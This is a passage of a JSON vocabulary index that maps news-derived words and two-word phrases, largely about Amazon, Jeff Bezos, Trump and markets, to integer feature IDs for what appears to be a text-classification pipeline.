 \"stock indexes\": 2629,\n  \"tyranny violations\": 2630,\n  \"inaccuracies despite\": 2631,\n  \"trade pence\": 2632,\n  \"market weakness\": 2633,\n  \"recently jeff\": 2634,\n  \"man rode\": 2635,\n  \"lyrical\": 2636,\n  \"realize green\": 2637,\n  \"korean industrial\": 2638,\n  \"act afraid\": 2639,\n  \"annual predictions\": 2640,\n  \"just distributors\": 2641,\n  \"blustery cold\": 2642,\n  \"balling wall\": 2643,\n  \"wage foreign\": 2644,\n  \"socioeconomic divide\": 2645,\n  \"dementia\": 2646,\n  \"claims saying\": 2647,\n  \"shipping libertarian\": 2648,\n  \"month exposed\": 2649,\n  \"socialist sidekicks\": 2650,\n  \"needed investigations\": 2651,\n  \"complaint doesn\": 2652,\n  \"benign silliness\": 2653,\n  \"surrounding britain\": 2654,\n  \"clearly indicates\": 2655,\n  \"florida serving\": 2656,\n  \"playing completely\": 2657,\n  \"200 beds\": 2658,\n  \"marin afp\": 2659,\n  \"bezos separation\": 2660,\n  \"sent barrage\": 2661,\n  \"rep kevin\": 2662,\n  \"cash free\": 2663,\n  \"customers going\": 2664,\n  \"paradox amazon\": 2665,\n  \"kill scandal\": 2666,\n  \"turned things\": 2667,\n  \"videocardcontents sourcelink\": 2668,\n  \"dread utm_campaign\": 2669,\n  \"trump partnership\": 2670,\n  \"strange things\": 2671,\n  \"q4 based\": 2672,\n  \"retain\": 2673,\n  \"personally think\": 2674,\n  \"503\": 2675,\n  \"congress adjourns\": 2676,\n  \"season starts\": 2677,\n  \"rapid shipping\": 2678,\n  \"gift list\": 2679,\n  \"screen shot\": 2680,\n  \"butt\": 2681,\n  \"president son\": 2682,\n  \"platooning\": 2683,\n  \"campaign worked\": 2684,\n  \"general described\": 2685,\n  \"swiggy\": 2686,\n  \"expectations construction\": 2687,\n  \"populous states\": 2688,\n  \"main targets\": 2689,\n  \"trump stuns\": 2690,\n  \"political news\": 2691,\n  \"analysts stand\": 2692,\n  \"trump lovers\": 2693,\n  \"doll price\": 2694,\n  \"reverend seth\": 2695,\n  \"richard sisk\": 2696,\n  \"minneapolis probation\": 2697,\n  \"giant jeff\": 2698,\n  \"faces sort\": 2699,\n  \"preexisting conditions\": 2700,\n  \"2015 mccain\": 2701,\n  \"separate legal\": 2702,\n  \"extraordinary accusation\": 2703,\n  \"prime fresh\": 2704,\n  \"away niles\": 2705,\n  \"results cybersecurity\": 2706,\n  \"markets performed\": 2707,\n  \"increasing emphasis\": 2708,\n  \"content costs\": 2709,\n  \"office reunion\": 2710,\n  \"harvested data\": 2711,\n  \"business report\": 2712,\n  \"fine griffeth\": 2713,\n  \"information according\": 2714,\n  \"build giant\": 2715,\n  \"amendment provision\": 2716,\n  \"written underneath\": 2717,\n  \"clear native\": 2718,\n  \"leaked islamic\": 2719,\n  \"israel bolsonaro\": 2720,\n  \"immigration drying\": 2721,\n  \"city according\": 2722,\n  \"offering helps\": 2723,\n  \"magnuson\": 2724,\n  \"strong social\": 2725,\n  \"job scam\": 2726,\n  \"underperformance\": 2727,\n  \"morris award\": 2728,\n  \"tcehy\": 2729,\n  \"cited example\": 2730,\n  \"provides inappropriate\": 2731,\n  \"formal protest\": 2732,\n  \"regulations attempt\": 2733,\n  \"netflix tweeted\": 2734,\n  \"2012 according\": 2735,\n  \"benefiting amazon\": 2736,\n  \"center autos\": 2737,\n  \"adeyemi amazon\": 2738,\n  \"roe changed\": 2739,\n  \"certain publications\": 2740,\n  \"hand kelly\": 2741,\n  \"cottage grover\": 2742,\n  \"rebuke hadn\": 2743,\n  \"post industrial\": 2744,\n  \"jeff green\": 2745,\n  \"model claims\": 2746,\n  \"latest hydrating\": 2747,\n  \"invalidate parts\": 2748,\n  \"virginia causing\": 2749,\n  \"documents\": 2750,\n  \"enjoy big\": 2751,\n  \"recent academic\": 2752,\n  \"ruffled amazon\": 2753,\n  \"backbone campaign\": 2754,\n  \"trump rants\": 2755,\n  \"place uses\": 2756,\n  \"trump fusillade\": 2757,\n  \"candidate behavior\": 2758,\n  \"verna\": 2759,\n  \"applications business\": 2760,\n  \"piggy bank\": 2761,\n  \"gas services\": 2762,\n  \"pecker admitted\": 2763,\n  \"considering duffy\": 2764,\n  \"television\": 2765,\n  \"appeal participant\": 2766,\n  \"368\": 2767,\n  \"vodka\": 2768,\n  \"political viewpoint\": 2769,\n  \"world announced\": 2770,\n  \"butte\": 2771,\n  \"technical advice\": 2772,\n  \"tabloid strong\": 2773,\n  \"legal specialists\": 2774,\n  \"companies operate\": 2775,\n  \"stocks help\": 2776,\n  \"savannization\": 2777,\n  \"2019 sisters\": 2778,\n  \"mccarthykevin\": 2779,\n  \"taking political\": 2780,\n  \"world commentary\": 2781,\n  \"populareconomics\": 2782,\n  \"corporate association\": 2783,\n  \"enquirer read\": 2784,\n  \"water girl\": 2785,\n  \"romney mcdaniel\": 2786,\n  \"unfinished galley\": 2787,\n  \"commerce cloud\": 2788,\n  \"lamster\": 2789,\n  \"suspecting political\": 2790,\n  \"menlo\": 2791,\n  \"local fare\": 2792,\n  \"told listen\": 2793,\n  \"investigations cbs\": 2794,\n  \"number wrote\": 2795,\n  \"government engineers\": 2796,\n  \"alike according\": 2797,\n  \"pecker head\": 2798,\n  \"corporations following\": 2799,\n  \"big holiday\": 2800,\n  \"1986\": 2801,\n  \"mary davie\": 2802,\n  \"industries recently\": 2803,\n  \"samples\": 2804,\n  \"campaign calling\": 2805,\n  \"colaneri\": 2806,\n  \"murders\": 2807,\n  \"small river\": 2808,\n  \"fernholz author\": 2809,\n  \"olds hacking\": 2810,\n  \"boeing aerospace\": 2811,\n  \"ireland park\": 2812,\n  \"embarrassing texts\": 2813,\n  \"ac vpx\": 2814,\n  \"xlnx\": 2815,\n  \"metal prices\": 2816,\n  \"guard\": 2817,\n  \"retailers little\": 2818,\n  \"analyst stephen\": 2819,\n  \"congress ratchet\": 2820,\n  \"support works\": 2821,\n  \"verify content\": 2822,\n  \"business contributing\": 2823,\n  \"feels immediately\": 2824,\n  \"explicit threat\": 2825,\n  \"s5 var\": 2826,\n  \"main argument\": 2827,\n  \"house near\": 2828,\n  \"biased disinformation\": 2829,\n  \"stopping candor\": 2830,\n  \"staff share\": 2831,\n  \"gonna happen\": 2832,\n  \"republican state\": 2833,\n  \"patent portfolio\": 2834,\n  \"conscious small\": 2835,\n  \"daily prescriptions\": 2836,\n  \"amazon 28222\": 2837,\n  \"fetus\": 2838,\n  \"geoengineering pollutants\": 2839,\n  \"marketplace mark\": 2840,\n  \"proud glitches\": 2841,\n  \"marc benioff\": 2842,\n  \"perk support\": 2843,\n  \"richard rainbow\": 2844,\n  \"heartfelt\": 2845,\n  \"molehill 2018\": 2846,\n  \"mayor says\": 2847,\n  \"morally objectionable\": 2848,\n  \"global markets\": 2849,\n  \"listed netease\": 2850,\n  \"era policies\": 2851,\n  \"grocer aldi\": 2852,\n  \"reported record\": 2853,\n  \"shooting today\": 2854,\n  \"amazon rolling\": 2855,\n  \"support rolling\": 2856,\n  \"using trump\": 2857,\n  \"knock\": 2858,\n  \"puzder ratings\": 2859,\n  \"bond formula\": 2860,\n  \"tweety boy\": 2861,\n  \"exposed texts\": 2862,\n  \"doesn blame\": 2863,\n  \"airing jones\": 2864,\n  \"barely grew\": 2865,\n  \"elevated\": 2866,\n  \"obrador added\": 2867,\n  \"good dose\": 2868,\n  \"born queer\": 2869,\n  \"safeguard\": 2870,\n  \"poe writes\": 2871,\n  \"disadvantage\": 2872,\n  \"amazon content\": 2873,\n  \"massive competition\": 2874,\n  \"rally marked\": 2875,\n  \"pol pot\": 2876,\n  \"average net\": 2877,\n  \"today readers\": 2878,\n  \"wasn enforcing\": 2879,\n  \"drop silly\": 2880,\n  \"pro family\": 2881,\n  \"spoof commercial\": 2882,\n  \"ambiguously\": 2883,\n  \"store near\": 2884,\n  \"cape recruited\": 2885,\n  \"causing usps\": 2886,\n  \"offered brief\": 2887,\n  \"new rt\": 2888,\n  \"nation smashing\": 2889,\n  \"predispositions\": 2890,\n  \"violent drug\": 2891,\n  \"poverty refundable\": 2892,\n  \"banned worldwide\": 2893,\n  \"package rates\": 2894,\n  \"boomer\": 2895,\n  \"longtime director\": 2896,\n  \"kopen\": 2897,\n  \"tv appearance\": 2898,\n  \"underpaying workers\": 2899,\n  \"gmt cnn\": 2900,\n  \"ebt card\": 2901,\n  \"growth commitment\": 2902,\n  \"trump triggered\": 2903,\n  \"seamless purchasing\": 2904,\n  \"john carroll\": 2905,\n  \"google hearing\": 2906,\n  \"kamal ohava\": 2907,\n  \"rwg1yjnwzh vice\": 2908,\n  \"ally reported\": 2909,\n  \"story spurs\": 2910,\n  \"section 214\": 2911,\n  \"national media\": 2912,\n  \"combatting\": 2913,\n  \"california online\": 2914,\n  \"amazon umbrella\": 2915,\n  \"mst believes\": 2916,\n  \"trading llc\": 2917,\n  \"russia probe\": 2918,\n  \"business global\": 2919,\n  \"toyota motor\": 2920,\n  \"operations expert\": 2921,\n  \"tweets ocasio\": 2922,\n  \"dad music\": 2923,\n  \"ziploc\": 2924,\n  \"products ad\": 2925,\n  \"probably explained\": 2926,\n  \"truck traffic\": 2927,\n  \"assets vital\": 2928,\n  \"mainly known\": 2929,\n  \"page_internal\": 2930,\n  \"talks pretty\": 2931,\n  \"analysts forecast\": 2932,\n  \"politics just\": 2933,\n  \"zonar\": 2934,\n  \"cognitive dissonance\": 2935,\n  \"grade quadro\": 2936,\n  \"cutting usps\": 2937,\n  \"newsletter pirro\": 2938,\n  \"starfish\": 2939,\n  \"suggest migration\": 2940,\n  \"false reporting\": 2941,\n  \"unseat sen\": 2942,\n  \"fun gripping\": 2943,\n  \"trade policies\": 2944,\n  \"operating major\": 2945,\n  \"cancel\": 2946,\n  \"kinsella weitzman\": 2947,\n  \"123s photo\": 2948,\n  \"ministry signed\": 2949,\n  \"profiling\": 2950,\n  \"france beating\": 2951,\n  \"fro renters\": 2952,\n  \"new 600\": 2953,\n  \"garish clown\": 2954,\n  \"publicly questioned\": 2955,\n  \"samen\": 2956,\n  \"leaves newborn\": 2957,\n  \"close read\": 2958,\n  \"street reassessing\": 2959,\n  \"plausible archetype\": 2960,\n  \"stephanie mccrummen\": 2961,\n  \"fictional clown\": 2962,\n  \"film crews\": 2963,\n  \"requires rekognition\": 2964,\n  \"216 million\": 2965,\n  \"especially unfair\": 2966,\n  \"1153\": 2967,\n  \"personal care\": 2968,\n  \"violated\": 2969,\n  \"losing candidates\": 2970,\n  \"uses strategies\": 2971,\n  \"enquirer feb\": 2972,\n  \"regular old\": 2973,\n  \"cbs california\": 2974,\n  \"primarychallenger phillip\": 2975,\n  \"twitter kurtbardella\": 2976,\n  \"exciting think\": 2977,\n  \"users wonder\": 2978,\n  \"governor welcome\": 2979,\n  \"doj publication\": 2980,\n  \"course bezos\": 2981,\n  \"joy\": 2982,\n  \"shipping cost\": 2983,\n  \"nearly unbelievable\": 2984,\n  \"waving banners\": 2985,\n  \"recent\": 2986,\n  \"significantly amazon\": 2987,\n  \"reboots\": 2988,\n  \"tablehero\": 2989,\n  \"innovative\": 2990,\n  \"varidesk\": 2991,\n  \"different lifestyle\": 2992,\n  \"resources globenewswire\": 2993,\n  \"art recode\": 2994,\n  \"help cover\": 2995,\n  \"nation chief\": 2996,\n  \"country receives\": 2997,\n  \"frequently delegating\": 2998,\n  \"blake focus\": 2999,\n  \"stone currently\": 3000,\n  \"beto rourke\": 3001,\n  \"comic section\": 3002,\n  \"owns bezos\": 3003,\n  \"make payment\": 3004,\n  \"2011 cape\": 3005,\n  \"thinking\": 3006,\n  \"ty7ecxvokl bernie\": 3007,\n  \"flurry\": 3008,\n  \"merger wasn\": 3009,\n  \"services new\": 3010,\n  \"nic lost\": 3011,\n  \"york documented\": 3012,\n  \"dale holness\": 3013,\n  \"announcement follows\": 3014,\n  \"agriculture lobby\": 3015,\n  \"treatment cosecha\": 3016,\n  \"risk demand\": 3017,\n  \"decisions dimondstein\": 3018,\n  \"selected supportive\": 3019,\n  \"won want\": 3020,\n  \"kummer vanity\": 3021,\n  \"marty\": 3022,\n  \"sharecroppers\": 3023,\n  \"content democrat\": 3024,\n  \"stapleton\": 3025,\n  \"di maio\": 3026,\n  \"bezos agrees\": 3027,\n  \"talbot\": 3028,\n  \"sell exclusively\": 3029,\n  \"divided politically\": 3030,\n  \"516 000\": 3031,\n  \"government organised\": 3032,\n  \"flying stock\": 3033,\n  \"resolution small\": 3034,\n  \"kate know\": 3035,\n  \"festival chop\": 3036,\n  \"ceo jim\": 3037,\n  \"famed mar\": 3038,\n  \"forgotten faiths\": 3039,\n  \"minority leader\": 3040,\n  \"senior roles\": 3041,\n  \"poor noah\": 3042,\n  \"office reveals\": 3043,\n  \"everybody trump\": 3044,\n  \"demand amazon\": 3045,\n  \"nyse mcd\": 3046,\n  \"exceedingly costly\": 3047,\n  \"permian\": 3048,\n  \"manage inventory\": 3049,\n  \"members paul\": 3050,\n  \"company thinking\": 3051,\n  \"guatemala\": 3052,\n  \"marketplace parts\": 3053,\n  \"sprang\": 3054,\n  \"respected twitter\": 3055,\n  \"trump perspective\": 3056,\n  \"investigation according\": 3057,\n  \"democrats apparently\": 3058,\n  \"homelessness initiatives\": 3059,\n  \"caring\": 3060,\n  \"butsign\": 3061,\n  \"capitalism column\": 3062,\n  \"feeling trump\": 3063,\n  \"include cash\": 3064,\n  \"supervening events\": 3065,\n  \"gianforte chances\": 3066,\n  \"investigation underway\": 3067,\n  \"lost showrunner\": 3068,\n  \"photos skorea\": 3069,\n  \"receive packages\": 3070,\n  \"appointing task\": 3071,\n  \"world sales\": 3072,\n  \"reportedly disagreed\": 3073,\n  \"toxic chemical\": 3074,\n  \"running small\": 3075,\n  \"database product\": 3076,\n  \"combat robotexts\": 3077,\n  \"hypocritical op\": 3078,\n  \"interracial\": 3079,\n  \"cortez ignored\": 3080,\n  \"amazon access\": 3081,\n  \"companies pat\": 3082,\n  \"goods orders\": 3083,\n  \"secretly arranged\": 3084,\n  \"compliance software\": 3085,\n  \"singh ret\": 3086,\n  \"murray alansmurray\": 3087,\n  \"books sold\": 3088,\n  \"online merchant\": 3089,\n  \"exec ami\": 3090,\n  \"bitter charges\": 3091,\n  \"service unique\": 3092,\n  \"bochy\": 3093,\n  \"fresh attack\": 3094,\n  \"board games\": 3095,\n  \"health benefit\": 3096,\n  \"innocence\": 3097,\n  \"sportswear express\": 3098,\n  \"primary reason\": 3099,\n  \"loan forgiveness\": 3100,\n  \"service underpaying\": 3101,\n  \"leading apple\": 3102,\n  \"reading custom\": 3103,\n  \"personal fools\": 3104,\n  \"trump walmart\": 3105,\n  \"video_sourcename 1iq5vw0\": 3106,\n  \"european members\": 3107,\n  \"wage standard\": 3108,\n  \"lola brought\": 3109,\n  \"hahn\": 3110,\n  \"weeks sen\": 3111,\n  \"popular game\": 3112,\n  \"supply agreement\": 3113,\n  \"unsubstantiated rumours\": 3114,\n  \"announce\": 3115,\n  \"fired washington\": 3116,\n  \"tv presenter\": 3117,\n  \"market itep\": 3118,\n  \"malek\": 3119,\n  \"tax passed\": 3120,\n  \"naacp slammed\": 3121,\n  \"facebook says\": 3122,\n  \"patriotic service\": 3123,\n  \"second tweet\": 3124,\n  \"votes just\": 3125,\n  \"mere\": 3126,\n  \"investor point\": 3127,\n  \"biggest revenue\": 3128,\n  \"people online\": 3129,\n  \"growing digital\": 3130,\n  \"digital content\": 3131,\n  \"jenny\": 3132,\n  \"livestock enmeshing\": 3133,\n  \"investigations ivanka\": 3134,\n  \"scholarly\": 3135,\n  \"monetary issues\": 3136,\n  \"tenders\": 3137,\n  \"platform price\": 3138,\n  \"testing waters\": 3139,\n  \"state officials\": 3140,\n  \"depictions\": 3141,\n  \"donnelly grew\": 3142,\n  \"offering currently\": 3143,\n  \"sacramento kings\": 3144,\n  \"democrat donovan\": 3145,\n  \"dominated\": 3146,\n  \"lawyer defends\": 3147,\n  \"securing essential\": 3148,\n  \"letter denouncing\": 3149,\n  \"received freely\": 3150,\n  \"based news\": 3151,\n  \"publish trump\": 3152,\n  \"measuring tech\": 3153,\n  \"caption cnn\": 3154,\n  \"christian groups\": 3155,\n  \"certainly doing\": 3156,\n  \"inc_custom_teaser\": 3157,\n  \"away opportunities\": 3158,\n  \"contractor tests\": 3159,\n  \"questions learn\": 3160,\n  \"runaway leader\": 3161,\n  \"homell\": 3162,\n  \"economically\": 3163,\n  \"improvement merchandise\": 3164,\n  \"selected 3006\": 3165,\n  \"keycommittee\": 3166,\n  \"youtube watch\": 3167,\n  \"competition note\": 3168,\n  \"plains\": 3169,\n  \"videotape eunice\": 3170,\n  \"suggested driving\": 3171,\n  \"nyt capcon\": 3172,\n  \"making founder\": 3173,\n  \"expects global\": 3174,\n  \"victoria staged\": 3175,\n  \"overpass\": 3176,\n  \"stocks added\": 3177,\n  \"investigation manhattan\": 3178,\n  \"fortune bezos\": 3179,\n  \"trump upset\": 3180,\n  \"mistakenly conclude\": 3181,\n  \"taking shape\": 3182,\n  \"hdr tv\": 3183,\n  \"select enabled\": 3184,\n  \"crisis maduro\": 3185,\n  \"ima\": 3186,\n  \"tn\": 3187,\n  \"toldthe\": 3188,\n  \"antiviral\": 3189,\n  \"schapperts leased\": 3190,\n  \"culinary scene\": 3191,\n  \"libertyblitz\": 3192,\n  \"desk rack\": 3193,\n  \"trust amazon\": 3194,\n  \"technically complex\": 3195,\n  \"vaticannews christianity\": 3196,\n  \"corporate conference\": 3197,\n  \"underserved communities\": 3198,\n  \"apparel electronics\": 3199,\n  \"barclays\": 3200,\n  \"wewontbeerased\": 3201,\n  \"collaborative relationships\": 3202,\n  \"hosting websites\": 3203,\n  \"time periods\": 3204,\n  \"octane action\": 3205,\n  \"deserves box\": 3206,\n  \"johnson shot\": 3207,\n  \"muscles\": 3208,\n  \"given responsibility\": 3209,\n  \"led declines\": 3210,\n  \"amazon internal\": 3211,\n  \"paper featuring\": 3212,\n  \"mail revenue\": 3213,\n  \"pro tempore\": 3214,\n  \"shooting rampage\": 3215,\n  \"conservatives social\": 3216,\n  \"itunes google\": 3217,\n  \"respond proactively\": 3218,\n  \"report did\": 3219,\n  \"able awards\": 3220,\n  \"mcdougal signed\": 3221,\n  \"repeatedly ravaged\": 3222,\n  \"good legitimate\": 3223,\n  \"sears walmart\": 3224,\n  \"key lock\": 3225,\n  \"added household\": 3226,\n  \"web sites\": 3227,\n  \"earth owns\": 3228,\n  \"amazonuk prime\": 3229,\n  \"separate policy\": 3230,\n  \"rep dave\": 3231,\n  \"recently concluded\": 3232,\n  \"county kentucky\": 3233,\n  \"workers pay\": 3234,\n  \"military elite\": 3235,\n  \"million young\": 3236,\n  \"worse today\": 3237,\n  \"imovie\": 3238,\n  \"john burnett\": 3239,\n  \"muslim terrorists\": 3240,\n  \"counterfeiters look\": 3241,\n  \"drawing\": 3242,\n  \"cnn social\": 3243,\n  \"burundian\": 3244,\n  \"amazon establish\": 3245,\n  \"vineyard\": 3246,\n  \"choosing long\": 3247,\n  \"better finish\": 3248,\n  \"adblock button\": 3249,\n  \"ami paid\": 3250,\n  \"sadly trump\": 3251,\n  \"market extra\": 3252,\n  \"data points\": 3253,\n  \"discount program\": 3254,\n  \"frequent target\": 3255,\n  \"cheraw road\": 3256,\n  \"wyckhouse congresswoman\": 3257,\n  \"51492\": 3258,\n  \"fund super\": 3259,\n  \"getting increasingly\": 3260,\n  \"government contractors\": 3261,\n  \"delivery amazon\": 3262,\n  \"chevron ibm\": 3263,\n  \"movies music\": 3264,\n  \"booming\": 3265,\n  \"charts spicer\": 3266,\n  \"itep says\": 3267,\n  \"small width\": 3268,\n  \"giant trillion\": 3269,\n  \"delegates approved\": 3270,\n  \"tiered regulatory\": 3271,\n  \"dominate new\": 3272,\n  \"represents long\": 3273,\n  \"legendary certainly\": 3274,\n  \"weve created\": 3275,\n  \"crackpot\": 3276,\n  \"stupid cnbc\": 3277,\n  \"tweets criticizing\": 3278,\n  \"trump coincidentally\": 3279,\n  \"years wouldn\": 3280,\n  \"spends\": 3281,\n  \"best days\": 3282,\n  \"today aug\": 3283,\n  \"herds\": 3284,\n  \"store typically\": 3285,\n  \"president boycott\": 3286,\n  \"honest speaking\": 3287,\n  \"capacitors\": 3288,\n  \"chief alan\": 3289,\n  \"calendar gallery\": 3290,\n  \"tripping\": 3291,\n  \"unionization citing\": 3292,\n  \"wishful cities\": 3293,\n  \"hornblower\": 3294,\n  \"personal discussion\": 3295,\n  \"finally rid\": 3296,\n  \"ico\": 3297,\n  \"incredibly uncomfortable\": 3298,\n  \"feared russia\": 3299,\n  \"peak prior\": 3300,\n  \"relentless assaults\": 3301,\n  \"expand protection\": 3302,\n  \"streaming skills\": 3303,\n  \"miracle path\": 3304,\n  \"political gamesmanship\": 3305,\n  \"including ami\": 3306,\n  \"a787ba9a\": 3307,\n  \"isn chalking\": 3308,\n  \"ground\": 3309,\n  \"new feminist\": 3310,\n  \"credentials doesn\": 3311,\n  \"economically conservative\": 3312,\n  \"spell burning\": 3313,\n  \"kindly view\": 3314,\n  \"live event\": 3315,\n  \"worry china\": 3316,\n  \"circus brought\": 3317,\n  \"gottfried\": 3318,\n  \"wilson filling\": 3319,\n  \"story hr\": 3320,\n  \"hour consider\": 3321,\n  \"journalism museum\": 3322,\n  \"unified platform\": 3323,\n  \"structural remedies\": 3324,\n  \"government google\": 3325,\n  \"initial print\": 3326,\n  \"huge\": 3327,\n  \"centers operators\": 3328,\n  \"unilaterally make\": 3329,\n  \"specific plan\": 3330,\n  \"donald birkenhead\": 3331,\n  \"ubs\": 3332,\n  \"faiths\": 3333,\n  \"help narrow\": 3334,\n  \"logistical challenge\": 3335,\n  \"potential bias\": 3336,\n  \"city left\": 3337,\n  \"hat trick\": 3338,\n  \"bezos emphasized\": 3339,\n  \"results video\": 3340,\n  \"investors nervous\": 3341,\n  \"today daily\": 3342,\n  \"businesses stifle\": 3343,\n  \"cracking pace\": 3344,\n  \"hbpnbausja steven\": 3345,\n  \"federal house\": 3346,\n  \"travelpod\": 3347,\n  \"reach amazon\": 3348,\n  \"local housing\": 3349,\n  \"lynchian\": 3350,\n  \"trump officials\": 3351,\n  \"global stock\": 3352,\n  \"rising cost\": 3353,\n  \"iconic blue\": 3354,\n  \"winning actress\": 3355,\n  \"onshore\": 3356,\n  \"fresh revelations\": 3357,\n  \"crosses threshold\": 3358,\n  \"dangerous mission\": 3359,\n  \"scott wiener\": 3360,\n  \"trash pickup\": 3361,\n  \"structure does\": 3362,\n  \"attack mccain\": 3363,\n  \"tighter fed\": 3364,\n  \"cares\": 3365,\n  \"recorded private\": 3366,\n  \"service carries\": 3367,\n  \"hogg wasn\": 3368,\n  \"enquirer doesn\": 3369,\n  \"graham lies\": 3370,\n  \"orwell new\": 3371,\n  \"bezos tactic\": 3372,\n  \"says committed\": 3373,\n  \"2016 catch\": 3374,\n  \"bing gordon\": 3375,\n  \"redmond anymore\": 3376,\n  \"markets story\": 3377,\n  \"supplies fuel\": 3378,\n  \"universally\": 3379,\n  \"recorded\": 3380,\n  \"institute nrgi\": 3381,\n  \"trailers\": 3382,\n  \"democratic congressional\": 3383,\n  \"sanchez strong\": 3384,\n  \"invest millions\": 3385,\n  \"long cuomo\": 3386,\n  \"authority gsa\": 3387,\n  \"portland police\": 3388,\n  \"exploring learning\": 3389,\n  \"involving halliburton\": 3390,\n  \"office provided\": 3391,\n  \"t5q 171\": 3392,\n  \"commercial starring\": 3393,\n  \"housewife onstage\": 3394,\n  \"apple charges\": 3395,\n  \"weld jumping\": 3396,\n  \"half decade\": 3397,\n  \"appeasing iran\": 3398,\n  \"million shoppers\": 3399,\n  \"best determination\": 3400,\n  \"year expanded\": 3401,\n  \"new relationship\": 3402,\n  \"tentatively titled\": 3403,\n  \"police apurva\": 3404,\n  \"cemetary\": 3405,\n  \"enticing\": 3406,\n  \"selection similar\": 3407,\n  \"twitter bombs\": 3408,\n  \"millennial population\": 3409,\n  \"internet giant\": 3410,\n  \"nyt white\": 3411,\n  \"governments spent\": 3412,\n  \"deployment\": 3413,\n  \"relationship energy\": 3414,\n  \"user surveillance\": 3415,\n  \"dividend investment\": 3416,\n  \"voters related\": 3417,\n  \"signs referencing\": 3418,\n  \"nyse wmt\": 3419,\n  \"turn dangerous\": 3420,\n  \"leaks source\": 3421,\n  \"suspends\": 3422,\n  \"guedes image\": 3423,\n  \"frederick calatrello\": 3424,\n  \"existing programs\": 3425,\n  \"medical new\": 3426,\n  \"general dollar\": 3427,\n  \"agribusiness\": 3428,\n  \"confirmation\": 3429,\n  \"cushy perks\": 3430,\n  \"identity movement\": 3431,\n  \"exploded nearly\": 3432,\n  \"hear president\": 3433,\n  \"questions trump\": 3434,\n  \"googlefor giving\": 3435,\n  \"ballhaus\": 3436,\n  \"cloud announced\": 3437,\n  \"albright bob\": 3438,\n  \"allegations cited\": 3439,\n  \"unsuspecting\": 3440,\n  \"paying right\": 3441,\n  \"makers\": 3442,\n  \"countertop\": 3443,\n  \"alice marie\": 3444,\n  \"rohingya muslim\": 3445,\n  \"underfunded public\": 3446,\n  \"politico magazine\": 3447,\n  \"comment cohen\": 3448,\n  \"tier shipping\": 3449,\n  \"post forte\": 3450,\n  \"lull markets\": 3451,\n  \"passers\": 3452,\n  \"strengthen china\": 3453,\n  \"real wars\": 3454,\n  \"doesn force\": 3455,\n  \"says steven\": 3456,\n  \"incumbent female\": 3457,\n  \"technology project\": 3458,\n  \"behavioural\": 3459,\n  \"net benefits\": 3460,\n  \"paycheck\": 3461,\n  \"reinstatement efforts\": 3462,\n  \"bezos pointing\": 3463,\n  \"controversial policy\": 3464,\n  \"believes amazon\": 3465,\n  \"following failed\": 3466,\n  \"carolina winning\": 3467,\n  \"great letters\": 3468,\n  \"trump god\": 3469,\n  \"world schrader\": 3470,\n  \"judge mulls\": 3471,\n  \"nea delivery\": 3472,\n  \"massive fines\": 3473,\n  \"charity 2018\": 3474,\n  \"america stood\": 3475,\n  \"zora\": 3476,\n  \"trump antagonistic\": 3477,\n  \"presumptive\": 3478,\n  \"recession 2019\": 3479,\n  \"just responding\": 3480,\n  \"surprise retail\": 3481,\n  \"scott carey\": 3482,\n  \"mature presidential\": 3483,\n  \"eased traffic\": 3484,\n  \"implementing regulation\": 3485,\n  \"questioning 2018\": 3486,\n  \"prev unread\": 3487,\n  \"ecosystem eliminating\": 3488,\n  \"donations\": 3489,\n  \"simple fair\": 3490,\n  \"effect netflix\": 3491,\n  \"paulo\": 3492,\n  \"new cold\": 3493,\n  \"jobs 000\": 3494,\n  \"dollars year\": 3495,\n  \"undeveloped\": 3496,\n  \"farr\": 3497,\n  \"david corn\": 3498,\n  \"opposes president\": 3499,\n  \"court soon\": 3500,\n  \"right steps\": 3501,\n  \"tailwinds\": 3502,\n  \"organized early\": 3503,\n  \"zingers\": 3504,\n  \"allege\": 3505,\n  \"long lobbying\": 3506,\n  \"epa office\": 3507,\n  \"ohmnilabs silicon\": 3508,\n  \"purchase title\": 3509,\n  \"research thank\": 3510,\n  \"228543 inc_homepage_headline\": 3511,\n  \"act introduced\": 3512,\n  \"groups attorneys\": 3513,\n  \"compensation topped\": 3514,\n  \"original best\": 3515,\n  \"compounds fantastically\": 3516,\n  \"memo instructs\": 3517,\n  \"dakota trump\": 3518,\n  \"2018 seekingalpha\": 3519,\n  \"regional trade\": 3520,\n  \"securities laws\": 3521,\n  \"valley firmament\": 3522,\n  \"expansion outsized\": 3523,\n  \"amazon plug\": 3524,\n  \"pakistan girls\": 3525,\n  \"initialize cnn\": 3526,\n  \"sentencing leniency\": 3527,\n  \"printz\": 3528,\n  \"volatile day\": 3529,\n  \"cnn notes\": 3530,\n  \"paul morigi\": 3531,\n  \"midler\": 3532,\n  \"voluntary\": 3533,\n  \"hasn crossed\": 3534,\n  \"ballots suggesting\": 3535,\n  \"america half\": 3536,\n  \"advantage solutions\": 3537,\n  \"manufactures\": 3538,\n  \"waded\": 3539,\n  \"bestseller lists\": 3540,\n  \"largepromoimage\": 3541,\n  \"launched services\": 3542,\n  \"chicago senator\": 3543,\n  \"motley declined\": 3544,\n  \"bring major\": 3545,\n  \"people prompting\": 3546,\n  \"writers guild\": 3547,\n  \"2018 cramer\": 3548,\n  \"personally asked\": 3549,\n  \"introduce strong\": 3550,\n  \"manufacturing activity\": 3551,\n  \"shares counsel\": 3552,\n  \"reallocate military\": 3553,\n  \"threatening messages\": 3554,\n  \"closing data\": 3555,\n  \"hyper local\": 3556,\n  \"fourteen\": 3557,\n  \"center brennancenter\": 3558,\n  \"congress following\": 3559,\n  \"tony dungy\": 3560,\n  \"president critics\": 3561,\n  \"feel facts\": 3562,\n  \"margins 2019\": 3563,\n  \"discounts trump\": 3564,\n  \"pet supplies\": 3565,\n  \"considering creating\": 3566,\n  \"outmaneuver market\": 3567,\n  \"severed\": 3568,\n  \"micro work\": 3569,\n  \"egg\": 3570,\n  \"commerce dollar\": 3571,\n  \"monopoly threshold\": 3572,\n  \"table patricia\": 3573,\n  \"engagement\": 3574,\n  \"peggy lipton\": 3575,\n  \"asked questions\": 3576,\n  \"customer acquisition\": 3577,\n  \"apparently build\": 3578,\n  \"reducing tax\": 3579,\n  \"abusing parents\": 3580,\n  \"phone trump\": 3581,\n  \"sent 180\": 3582,\n  \"oil looking\": 3583,\n  \"becker pecker\": 3584,\n  \"challenges 1992\": 3585,\n  \"significantly properly\": 3586,\n  \"trump advisers\": 3587,\n  \"recent exact\": 3588,\n  \"nurses police\": 3589,\n  \"york oil\": 3590,\n  \"public impression\": 3591,\n  \"lira fell\": 3592,\n  \"org news\": 3593,\n  \"neumeister\": 3594,\n  \"bristol united\": 3595,\n  \"press michigan\": 3596,\n  \"deduct\": 3597,\n  \"lethbridge\": 3598,\n  \"existing governance\": 